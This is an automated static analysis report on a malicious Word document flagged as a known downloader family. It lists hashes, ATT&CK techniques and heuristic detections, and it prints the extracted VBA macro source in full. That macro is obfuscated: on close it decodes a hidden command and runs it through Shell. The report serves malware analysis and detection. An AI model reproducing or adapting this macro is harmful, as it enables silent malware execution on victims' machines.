Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8f4533d820eb7f55…

MALICIOUS

Office (OOXML)

53.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-06-27
MD5: a55555eb16d14828109fc31285a8fca3 SHA-1: 67eca0a4a2e2589007d94ee23fc0f8d16a659572 SHA-256: 8f4533d820eb7f55e55c9ddff65cb629b0bdbe97d0f14d25d5d820acd18938af
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and uses the Shell() function to execute a payload. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' suggests this is a known downloader family. The VBA script is designed to execute arbitrary commands when the document is closed.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2086 bytes
SHA-256: 9f85c5d3c4cbc2e399bf1a2e6f38a2118b9d8744db9ccaf7cf34fe94bc04043a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  leptosome = Array("J", "F", "w", "G", "K", "f", "x", "W", "x", "M", "w", "G", "G", "5", "3", "1", "1", "Q", "o", "N", "", "Q", "m", "o", "C", "L", "Q", "m", "N", "Q", "w", "m", "x", "m", "f", "u", "P", "J", "1", "A", "7", "1", "F", "J", "N", "W", "f", "5", "w", "5", "h", "C", "G", "J", "K", "Y", "o", "P", "L", "e")
  passion = conker(leptosome)
  
  Application.Run "antisensitizer", (passion)
  
End Sub


Private Sub antisensitizer(liaison)
   
   channelers = 6162
   crumbcloth = True
   
   While crumbcloth
     amhar = channelers + 222
     If amhar - channelers > 111 Then
       VBA.Shell liaison, vbNormalFocus - 1
       crumbcloth = False
      End If
     
   Wend

End Sub


Public Function overstoutly(reconveys, dynamism)

  separatum = 9090
  stratfordianator = -1
  For Each unblanched In dynamism
    If unblanched = reconveys Then
     separatum = stratfordianator
     Exit For
    End If

    stratfordianator = stratfordianator + 1
    
  Next

  
  If separatum = 9090 Then
    separatum = -1
  End If


  overstoutly = separatum + 1
End Function

Private Function conker(leptosome)
  compradores = Array("w", "", "J", "7", "A", "W", "Y", "o", "u", "h", "1", "x", "P", "e", "m", "3", "5", "Q", "F", "N", "C", "K", "f", "G", "L", "M")
  doghearted = Array("h", "j", "m", "A", "N", "x", "=", "d", "c", "?", "/", "e", "o", "g", "w", ":", "p", "q", "s", "i", "u", "a", ".", "t", "n", " ")
  
  unleave = vbNullString
  
  For Each isosulphocyanate In leptosome
    nighted = Application.Run("overstoutly", isosulphocyanate, compradores)
    If nighted > -1 And nighted < 8080 Then
    unleave = doghearted(nighted) + unleave
    End If
  Next
  
  conker = StrReverse(unleave)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: c18a85e1b76b940219402d24cbb215f00552169f1462990f0f1c821dc50b80b9
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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